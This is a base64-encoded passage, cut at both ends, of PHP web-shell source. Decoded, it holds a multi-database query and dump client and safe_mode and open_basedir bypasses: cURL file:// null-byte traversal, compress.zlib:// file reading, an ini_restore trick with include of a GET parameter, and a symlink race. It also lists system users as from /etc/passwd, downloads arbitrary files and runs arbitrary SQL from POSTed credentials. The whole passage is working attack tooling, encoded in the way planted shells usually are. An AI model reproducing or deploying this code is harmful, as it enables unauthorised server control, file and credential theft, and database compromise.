ZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOyANCiAgICAgQG15c3FsaV9mcmVlX3Jlc3VsdCgkdGhp
cy0+cmVzKTsNCiAgICAgaWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJh
eV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQ0KICBicmVhazsNCiAgY2FzZSAnbVNR
TCc6DQogICAgICR0aGlzLT5udW1fcm93cz1AbXNxbF9udW1fcm93cygkdGhpcy0+cmVzKTsNCiAg
ICAgJHRoaXMtPm51bV9maWVsZHM9QG1zcWxfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsNCiAgICAg
d2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG1zcWxfZmV0Y2hfYXJyYXkoJHRoaXMt
PnJlcykpKTsgDQogICAgIEBtc3FsX2ZyZWVfcmVzdWx0KCR0aGlzLT5yZXMpOw0KICAgICBpZigk
dGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3Nb
MF0pOyByZXR1cm4gMTt9DQogIGJyZWFrOw0KICBjYXNlICdTUUxpdGUnOg0KICAgICAkdGhpcy0+
bnVtX3Jvd3M9QHNxbGl0ZV9udW1fcm93cygkdGhpcy0+cmVzKTsNCiAgICAgJHRoaXMtPm51bV9m
aWVsZHM9QHNxbGl0ZV9udW1fZmllbGRzKCR0aGlzLT5yZXMpOw0KICAgICB3aGlsZShmYWxzZSAh
PT0gKCR0aGlzLT5yb3dzW10gPSBAc3FsaXRlX2ZldGNoX2FycmF5KCR0aGlzLT5yZXMpKSk7IA0K
ICAgICBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRo
aXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQogIGJyZWFrOw0KICAgIH0NCiAgIHJldHVybiAwOyAN
CiAgfQ0KIGZ1bmN0aW9uIGR1bXAoJHRhYmxlKQ0KICB7IA0KICAgaWYoZW1wdHkoJHRhYmxlKSkg
cmV0dXJuIDA7DQogICAkdGhpcy0+ZHVtcD1hcnJheSgpOw0KICAgJHRoaXMtPmR1bXBbMF0gPSAn
IyMnOw0KICAgJHRoaXMtPmR1bXBbMV0gPSAnIyMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tICc7DQogICAkdGhpcy0+ZHVtcFsyXSA9ICcjIyAgQ3JlYXRlZDogJy5kYXRl
ICgiZC9tL1kgSDppOnMiKTsNCiAgICR0aGlzLT5kdW1wWzNdID0gJyMjIERhdGFiYXNlOiAnLiR0
aGlzLT5iYXNlOw0KICAgJHRoaXMtPmR1bXBbNF0gPSAnIyMgICAgVGFibGU6ICcuJHRhYmxlOw0K
ICAgJHRoaXMtPmR1bXBbNV0gPSAnIyMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tICc7DQogICBzd2l0Y2goJHRoaXMtPmRiKQ0KICAgIHsNCiAgY2FzZSAnTXlTUUwnOg0K
ICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNeVNRTCBkdW1wJzsNCiAgICAgaWYoJHRoaXMtPnF1
ZXJ5KCcvKicuY2hyKDApLicqLyBTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKSE9MSkg
cmV0dXJuIDA7DQogICAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgICAg
JHRoaXMtPmR1bXBbXSA9ICR0aGlzLT5yb3dzWzBdWydDcmVhdGUgVGFibGUnXTsNCiAgICAgJHRo
aXMtPmR1bXBbXSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0g
JzsNCiAgICAgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTRUxFQ1QgKiBGUk9NIGAn
LiR0YWJsZS4nYCcpIT0xKSByZXR1cm4gMDsNCiAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSBy
ZXR1cm4gMDsNCiAgIGZvcigkaT0wOyRpPCR0aGlzLT5udW1fcm93czskaSsrKQ0KICAgIHsNCiAg
ICAgIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgeyR0aGlzLT5yb3dzWyRpXVsk
a10gPSBAbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KTt9DQogICAgJHRoaXMtPmR1bXBbXSA9
ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKGAnLkBpbXBsb2RlKCJgLCBgIiwgJHRoaXMtPmNv
bHVtbnMpLidgKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsICR0aGlzLT5yb3dzWyRpXSku
J1wnKTsnOw0KICAgIH0NCiAgYnJlYWs7DQogIGNhc2UgJ01TU1FMJzoNCiAgICAgJHRoaXMtPmR1
bXBbMF0gPSAnIyMgTVNTUUwgZHVtcCc7DQogICAgIGlmKCR0aGlzLT5xdWVyeSgnU0VMRUNUICog
RlJPTSAnLiR0YWJsZSkhPTEpIHJldHVybiAwOw0KICAgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkp
IHJldHVybiAwOw0KICAgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspDQogICAgew0K
ICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGld
WyRrXSA9IEBhZGRzbGFzaGVzKCR2KTt9DQogICAgJHRoaXMtPmR1bXBbXSA9ICdJTlNFUlQgSU5U
TyAnLiR0YWJsZS4nICgnLkBpbXBsb2RlKCIsICIsICR0aGlzLT5jb2x1bW5zKS4nKSBWQUxVRVMg
KFwnJy5AaW1wbG9kZSgiJywgJyIsICR0aGlzLT5yb3dzWyRpXSkuJ1wnKTsnOw0KICAgIH0NCiAg
YnJlYWs7DQogIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBQ
b3N0Z3JlU1FMIGR1bXAnOw0KICAgICBpZigkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4k
dGFibGUpIT0xKSByZXR1cm4gMDsNCiAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4g
MDsNCiAgIGZvcigkaT0wOyRpPCR0aGlzLT5udW1fcm93czskaSsrKQ0KICAgIHsNCiAgICAgIGZv
cmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgeyR0aGlzLT5yb3dzWyRpXVska10gPSBA
YWRkc2xhc2hlcygkdik7fSANCiAgICAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPICcuJHRh
YmxlLicgKCcuQGltcGxvZGUoIiwgIiwgJHRoaXMtPmNvbHVtbnMpLicpIFZBTFVFUyAoXCcnLkBp
bXBsb2RlKCInLCAnIiwgJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7DQogICAgfSANCiAgYnJlYWs7
DQogIGNhc2UgJ09yYWNsZSc6DQogICAgICR0aGlzLT5kdW1wWzBdID0gJyMjIE9SQUNMRSBkdW1w
JzsNCiAgICAgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0
dXJuIDA7DQogICBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7DQogICBmb3IoJGk9
MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykNCiAgICB7ICAgICANCiAgICAgIGZvcmVhY2goJHRo
aXMtPnJvd3NbJGldIGFzICRrPT4kdikgeyR0aGlzLT5yb3dzWyRpXVska10gPSBAYWRkc2xhc2hl
cygkdik7fQ0KICAgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5A
aW1wbG9kZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIics
ICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsNCiAgICB9DQogIGJyZWFrOw0KICBjYXNlICdN
eVNRTGknOg0KICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNeVNRTGkgZHVtcCc7DQogICAgIGlm
KCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSkhPTEpIHJldHVybiAwOw0KICAg
aWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOw0KICAgZm9yKCRpPTA7JGk8JHRoaXMt
Pm51bV9yb3dzOyRpKyspDQogICAgeyAgICAgDQogICAgICBmb3JlYWNoKCR0aGlzLT5yb3dzWyRp
XSBhcyAkaz0+JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQG15c3FsaV9yZWFsX2VzY2FwZV9z
dHJpbmcoJHYpO30NCiAgICAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicg
KCcuQGltcGxvZGUoIiwgIiwgJHRoaXMtPmNvbHVtbnMpLicpIFZBTFVFUyAoXCcnLkBpbXBsb2Rl
KCInLCAnIiwgJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7DQogICAgfQ0KICBicmVhazsNCiAgY2Fz
ZSAnbVNRTCc6DQogICAgICR0aGlzLT5kdW1wWzBdID0gJyMjIG1TUUwgZHVtcCc7DQogICAgIGlm
KCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSkhPTEpIHJldHVybiAwOw0KICAg
aWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOw0KICAgZm9yKCRpPTA7JGk8JHRoaXMt
Pm51bV9yb3dzOyRpKyspDQogICAgeyAgICAgDQogICAgICBmb3JlYWNoKCR0aGlzLT5yb3dzWyRp
XSBhcyAkaz0+JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCiAg
ICAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuQGltcGxvZGUoIiwg
IiwgJHRoaXMtPmNvbHVtbnMpLicpIFZBTFVFUyAoXCcnLkBpbXBsb2RlKCInLCAnIiwgJHRoaXMt
PnJvd3NbJGldKS4nXCcpOyc7DQogICAgfQ0KICBicmVhazsNCiAgY2FzZSAnU1FMaXRlJzoNCiAg
ICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMgU1FMaXRlIGR1bXAnOw0KICAgICBpZigkdGhpcy0+cXVl
cnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpIT0xKSByZXR1cm4gMDsNCiAgIGlmKCEkdGhpcy0+
Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgIGZvcigkaT0wOyRpPCR0aGlzLT5udW1fcm93czsk
aSsrKQ0KICAgIHsgICAgIA0KICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2
KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBhZGRzbGFzaGVzKCR2KTt9DQogICAgJHRoaXMtPmR1
bXBbXSA9ICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLkBpbXBsb2RlKCIsICIsICR0aGlzLT5j
b2x1bW5zKS4nKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsICR0aGlzLT5yb3dzWyRpXSku
J1wnKTsnOw0KICAgIH0NCiAgYnJlYWs7DQogIGRlZmF1bHQ6DQogICAgIHJldHVybiAwOw0KICBi
cmVhazsNCiAgICB9DQogICByZXR1cm4gMTsgDQogIH0NCiBmdW5jdGlvbiBjbG9zZSgpDQogIHsg
DQogICBzd2l0Y2goJHRoaXMtPmRiKQ0KICAgIHsNCiAgY2FzZSAnTXlTUUwnOiANCiAgICAgQG15
c3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsgDQogIGJyZWFrOw0KICBjYXNlICdNU1NRTCc6
DQogICAgIEBtc3NxbF9jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7DQogIGJyZWFrOw0KICBjYXNl
ICdQb3N0Z3JlU1FMJzoNCiAgICAgQHBnX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgYnJl
YWs7DQogIGNhc2UgJ09yYWNsZSc6DQogICAgIEBvY2lfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24p
Ow0KICBicmVhazsNCiAgY2FzZSAnTXlTUUxpJzoNCiAgICAgQG15c3FsaV9jbG9zZSgkdGhpcy0+
Y29ubmVjdGlvbik7IA0KICBicmVhazsNCiAgY2FzZSAnbVNRTCc6DQogICAgIEBtc3FsX2Nsb3Nl
KCR0aGlzLT5jb25uZWN0aW9uKTsgDQogIGJyZWFrOw0KICBjYXNlICdTUUxpdGUnOg0KICAgICBA
c3FsaXRlX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsgDQogIGJyZWFrOw0KICAgIH0NCiAgfQ0K
IGZ1bmN0aW9uIGFmZmVjdGVkX3Jvd3MoKQ0KICB7IA0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAg
ICB7DQogIGNhc2UgJ015U1FMJzoNCiAgIHJldHVybiBAbXlzcWxfYWZmZWN0ZWRfcm93cygkdGhp
cy0+cmVzKTsgDQogIGJyZWFrOw0KICBjYXNlICdNU1NRTCc6DQogICAgIHJldHVybiBAbXNzcWxf
YWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsNCiAgYnJlYWs7DQogIGNhc2UgJ1Bvc3RncmVTUUwn
Og0KICAgICByZXR1cm4gQHBnX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7DQogIGJyZWFrOw0K
ICBjYXNlICdPcmFjbGUnOg0KICAgICByZXR1cm4gQG9jaXJvd2NvdW50KCR0aGlzLT5yZXMpOw0K
ICBicmVhazsNCiAgY2FzZSAnTXlTUUxpJzoNCiAgICAgcmV0dXJuIEBteXNxbGlfYWZmZWN0ZWRf
cm93cygkdGhpcy0+cmVzKTsgDQogIGJyZWFrOw0KICBjYXNlICdtU1FMJzoNCiAgICAgcmV0dXJu
IEBtc3FsX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7IA0KICBicmVhazsNCiAgY2FzZSAnU1FM
aXRlJzoNCiAgICAgcmV0dXJuIEBzcWxpdGVfY2hhbmdlcygkdGhpcy0+cmVzKTsNCiAgYnJlYWs7
DQogIGRlZmF1bHQ6DQogICAgIHJldHVybiAwOw0KICBicmVhazsNCiAgCSAgIGJyZWFrOw0KY2Fz
ZSAnY1VSTCc6DQogICBpZihlbXB0eSgkX1BPU1RbJ2VneV9zcGlkZXInXSkpew0KDQoNCn0gZWxz
ZSB7DQokY3VybD0kX1BPU1RbJ2VneV9zcGlkZXInXTsNCiRjaCA9Y3VybF9pbml0KCJmaWxlOi8v
LyIuJGN1cmwuIlx4MDAvLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vIi5fX0ZJ
TEVfXyk7DQpjdXJsX2V4ZWMoJGNoKTsNCnZhcl9kdW1wKGN1cmxfZXhlYygkY2gpKTsNCmVjaG8g
IjwvdGV4dGFyZWE+PC9DRU5URVI+IjsNCg0KfQ0KYnJlYWs7DQpjYXNlICdjb3B5JzoNCg0KaWYo
ZW1wdHkoJHNubikpew0KaWYoZW1wdHkoJF9HRVRbJ3NubiddKSl7DQppZihlbXB0eSgkX1BPU1Rb
J3NubiddKSl7DQoNCn0gZWxzZSB7DQokdTFwPSRfUE9TVFsnc25uJ107DQp9DQp9IGVsc2Ugew0K
JHUxcD0kX0dFVFsnc25uJ107DQp9DQp9DQogICR1MXA9IiI7IC8vIEZpbGUgdG8gSW5jbHVkZS4u
LiBvciB1c2UgX0dFVCBfUE9TVA0KJHR5bWN6YXM9IiI7IC8vIFNldCAkdHltY3phcyB0byBkaXIg
d2hlcmUgeW91IGhhdmUgNzc3IGxpa2UgL3Zhci90bXANCg0KDQokdGVtcD10ZW1wbmFtKCR0eW1j
emFzLCAiY3giKTsNCg0KaWYoY29weSgiY29tcHJlc3MuemxpYjovLyIuJHNubiwgJHRlbXApKXsN
CiR6cm9kbG8gPSBmb3BlbigkdGVtcCwgInIiKTsNCiR0ZWtzdCA9IGZyZWFkKCR6cm9kbG8sIGZp
bGVzaXplKCR0ZW1wKSk7DQpmY2xvc2UoJHpyb2Rsbyk7DQplY2hvICIiLmh0bWxzcGVjaWFsY2hh
cnMoJHRla3N0KS4iIjsNCnVubGluaygkdGVtcCk7DQplY2hvICI8L3RleHRhcmVhPjwvQ0VOVEVS
PiI7DQp9DQpicmVhazsNCmNhc2UgJ2luaV9yZXN0b3JlJzoNCiBpZihlbXB0eSgkX1BPU1RbJ2lu
aV9yZXN0b3JlJ10pKXsNCn0gZWxzZSB7DQoNCiRpbmk9JF9QT1NUWydpbmlfcmVzdG9yZSddOw0K
ZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7
DQpyZXF1aXJlX29uY2UoIiRpbmkiKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9y
ZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hv
IGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZWd5Il0pOw0KZWNobyAi
PC90ZXh0YXJlYT48L0NFTlRFUj4iOw0KfQ0KYnJlYWs7DQpjYXNlICdnbG9iJzoNCmZ1bmN0aW9u
IHJlZ19nbG9iKCkNCnsNCiRjaGVtaW49JF9SRVFVRVNUWydnbG9iJ107DQokZmlsZXMgPSBnbG9i
KCIkY2hlbWluKiIpOw0KDQoNCmZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZW5hbWUpIHsNCg0KICAg
ZWNobyAiJGZpbGVuYW1lXG4iOw0KDQp9DQp9DQoNCmlmKGlzc2V0KCRfUkVRVUVTVFsnZ2xvYidd
KSkNCnsNCnJlZ19nbG9iKCk7DQp9DQoNCmJyZWFrOw0KICBjYXNlICdzeW0xJzoNCiAgICAgaWYo
ZW1wdHkoJF9QT1NUWydzeW0xcCddKSl7DQogICAgICAgICAgICAgfSBlbHNlIHsNCiRzeW1wPSRf
UE9TVFsnc3ltMXAnXTsNCiAgICAgICAgIH0NCiAgICAgaWYoZW1wdHkoJF9QT1NUWydzeW0xcDIn
XSkpew0KDQp9IGVsc2Ugew0KJHN5bXAyPSRfUE9TVFsnc3ltMXAyJ107DQoNCiAgc3ltbGluaygi
YS9hL2EvYS9hL2EvIiwgImR1bW15Iik7DQpzeW1saW5rKCJkdW1teSIuJHN5bXAyLiIiLiRzeW1w
LiIiLCAieHh4Iik7DQp1bmxpbmsoImR1bW15Iik7DQp3aGlsZSAoMSkgew0Kc3ltbGluaygiLiIs
ICJkdW1teSIpOw0KDQogIH0NCiB9DQogIGJyZWFrOw0KICBjYXNlICdzeW0yJzoNCiAgQGluY2x1
ZGUoeHh4KTsNCg0KICBicmVhazsNCiAgY2FzZSAncGx1Z2luJzoNCiAgaWYgKCRfUE9TVFsncGx1
Z2luJ10gKXsNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
Zm9yKCR1aWQ9MDskdWlkPDYwMDAwOyR1aWQrKyl7ICAgLy9jYXQgL2V0Yy9wYXNzd2QNCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXJhID0gcG9zaXhfZ2V0cHd1aWQo
JHVpZCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBp
ZiAoIWVtcHR5KCRhcmEpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIHdoaWxlIChsaXN0ICgka2V5LCAkdmFsKSA9IGVhY2goJGFyYSkpew0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICIk
dmFsOiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJp
bnQgIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3RleHRhcmVhPiI7DQoJCQkJCQkJCSAgICAg
ICAgICAgICAgfQ0KDQogICAgfQ0KICB9DQogfSANCmlmKGlzc2V0KCRfUE9TVFsnY21kJ10pICYm
ICRfUE9TVFsnY21kJ109PSJkb3dubG9hZF9maWxlIiAmJiAhZW1wdHkoJF9QT1NUWydkX25hbWUn
XSkpDQogew0KICBpZigkZmlsZT1tb3JlcmVhZCgkX1BPU1RbJ2RfbmFtZSddKSl7ICRmaWxlZHVt
cCA9ICRmaWxlOyB9DQogIGVsc2UgaWYgKCRmaWxlPXJlYWR6bGliKCRfUE9TVFsnZF9uYW1lJ10p
KSB7ICRmaWxlZHVtcCA9ICRmaWxlOyB9IGVsc2UgeyBlcnIoMSwkX1BPU1RbJ2RfbmFtZSddKTsg
JF9QT1NUWydjbWQnXT0iIjsgfQ0KICBpZighZW1wdHkoJF9QT1NUWydjbWQnXSkpIA0KICAgew0K
ICAgIEBvYl9jbGVhbigpOw0KICAgICRmaWxlbmFtZSA9IEBiYXNlbmFtZSgkX1BPU1RbJ2RfbmFt
ZSddKTsNCiAgICAkY29udGVudF9lbmNvZGluZz0kbWltZV90eXBlPScnOw0KICAgIGNvbXByZXNz
KCRmaWxlbmFtZSwkZmlsZWR1bXAsJF9QT1NUWydjb21wcmVzcyddKTsNCiAgICBpZiAoIWVtcHR5
KCRjb250ZW50X2VuY29kaW5nKSkgeyBoZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6ICcgLiAkY29u
dGVudF9lbmNvZGluZyk7IH0NCiAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogIi4kbWltZV90eXBl
KTsNCiAgICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1l
PVwiIi4kZmlsZW5hbWUuIlwiOyIpOyAgIA0KICAgIGVjaG8gJGZpbGVkdW1wOw0KICAgIGV4aXQo
KTsNCiAgIH0NCiB9DQppZihpc3NldCgkX0dFVFsnMSddKSkgeyBlY2hvIEBwaHBpbmZvKCk7IGVj
aG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5b
IDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIic+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+
PC9kaXY+IjsgZGllKCk7IH0NCmlmIChpc3NldCgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2Nt
ZCddPT0iZGJfcXVlcnkiKQ0KIHsNCiBlY2hvICRoZWFkOw0KICRzcWwgPSBuZXcgbXlfc3FsKCk7
DQogJHNxbC0+ZGIgICA9ICRfUE9TVFsnZGInXTsNCiAkc3FsLT5ob3N0ID0gJF9QT1NUWydkYl9z
ZXJ2ZXInXTsNCiAkc3FsLT5wb3J0ID0gJF9QT1NUWydkYl9wb3J0J107DQogJHNxbC0+dXNlciA9
ICRfUE9TVFsnbXlzcWxfbCddOw0KICRzcWwtPnBhc3MgPSAkX1BPU1RbJ215c3FsX3AnXTsNCiAk
c3FsLT5iYXNlID0gJF9QT1NUWydteXNxbF9kYiddOw0KICRxdWVyeXMgPSBAZXhwbG9kZSgnOycs
JF9QT1NUWydkYl9xdWVyeSddKTsNCiBlY2hvICc8Ym9keSBiZ2NvbG9yPSNlNGUwZDg+JzsNCiBp
ZighJHNxbC0+Y29ubmVjdCgpKSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZl
cmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+Q2FuJ3QgY29ubmVjdCB0byBTUUwgc2VydmVyPC9i
PjwvZm9udD48L2Rpdj4iOw0KICBlbHNlIA0KICAgew0KICAgaWYoIWVtcHR5KCRzcWwtPmJhc2Up
JiYhJHNxbC0+c2VsZWN0X2RiKCkpIGVjaG8gIjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9
VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj5DYW4ndCBzZWxlY3QgZGF0YWJhc2U8L2I+PC9m
b250PjwvZGl2PiI7DQogICBlbHNlDQogICAgew0KICAgIGZvcmVhY2goJHF1ZXJ5cyBhcyAkbnVt
PT4kcXVlcnkpIA0KICAgICB7DQogICAgICBpZihzdHJsZW4oJHF1ZXJ5KT41KQ0KICAgICAgew0K
ICAgICAgZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9Z3JlZW4+PGI+UXVl
cnkjIi4kbnVtLiIgOiAiLmh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5LEVOVF9RVU9URVMpLiI8L2I+
PC9mb250Pjxicj4iOw0KICAgICAgc3dpdGNoKCRzcWwtPnF1ZXJ5KCRxdWVyeSkpDQogICAgICAg
ew0KICAgICAgIGNhc2UgJzAnOg0KICAgICAgIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlPjx0cj48
dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+RXJyb3IgOiA8Yj4iLiRzcWwtPmVycm9yLiI8
L2I+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAgYnJlYWs7DQogICAgICAgY2Fz
ZSAnMSc6IA0KICAgICAgIGlmKCRzcWwtPmdldF9yZXN1bHQoKSkNCiAgICAgICAgew0KICAgICAg
IGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlPiI7DQogICAgICAgIGZvcmVhY2goJHNxbC0+Y29sdW1u
cyBhcyAkaz0+JHYpICRzcWwtPmNvbHVtbnNbJGtdID0gaHRtbHNwZWNpYWxjaGFycygkdixFTlRf
UVVPVEVTKTsNCiAgICAgICAka2V5cyA9IEBpbXBsb2RlKCImbmJzcDs8L2I+PC9mb250PjwvdGQ+
PHRkIGJnY29sb3I9IzMzMzMzMz48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4mbmJzcDsi
LCAkc3FsLT5jb2x1bW5zKTsNCiAgICAgICAgZWNobyAiPHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+
PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jm5ic3A7Ii4ka2V5cy4iJm5ic3A7PC9iPjwv
Zm9udD48L3RkPjwvdHI+IjsNCiAgICAgICAgZm9yKCRpPTA7JGk8JHNxbC0+bnVtX3Jvd3M7JGkr
KykNCiAgICAgICAgIHsNCiAgICAgICAgIGZvcmVhY2goJHNxbC0+cm93c1skaV0gYXMgJGs9PiR2
KSAkc3FsLT5yb3dzWyRpXVska10gPSBodG1sc3BlY2lhbGNoYXJzKCR2LEVOVF9RVU9URVMpOw0K
ICAgICAgICAgJHZhbHVlcyA9IEBpbXBsb2RlKCImbmJzcDs8L2ZvbnQ+PC90ZD48dGQ+PGZvbnQg
ZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7Iiwkc3FsLT5yb3dzWyRpXSk7DQogICAgICAgICBl
Y2hvICc8dHI+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiZuYnNwOycuJHZhbHVlcy4n
Jm5ic3A7PC9mb250PjwvdGQ+PC90cj4nOw0KICAgICAgICAgfQ0KICAgICAgICBlY2hvICI8L3Rh
YmxlPiI7IA0KICAgICAgICB9DQogICAgICAgYnJlYWs7DQogICAgICAgY2FzZSAnMic6DQogICAg
ICAgJGFyID0gJHNxbC0+YWZmZWN0ZWRfcm93cygpPygkc3FsLT5hZmZlY3RlZF9yb3dzKCkpOign
MCcpOyANCiAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkPjxmb250IGZhY2U9
VmVyZGFuYSBzaXplPS0yPmFmZmVjdGVkIHJvd3MgOiA8Yj4iLiRhci4iPC9iPjwvZm9udD48L3Rk
PjwvdHI+PC90YWJsZT48YnI+IjsNCiAgICAgICBicmVhazsgDQogICAgICAgfQ0KICAgICAgfQ0K
ICAgICB9DQogICAgfQ0KICAgfSAgIA0KIGVjaG8gIjxicj48Zm9ybSBuYW1lPWZvcm0gbWV0aG9k
PVBPU1Q+IjsNCiBlY2hvIGluKCdoaWRkZW4nLCdkYicsMCwkX1BPU1RbJ2RiJ10pOw0KIGVjaG8g
aW4oJ2hpZGRlbicsJ2RiX3NlcnZlcicsMCwkX1BPU1RbJ2RiX3NlcnZlciddKTsNCiBlY2hvIGlu
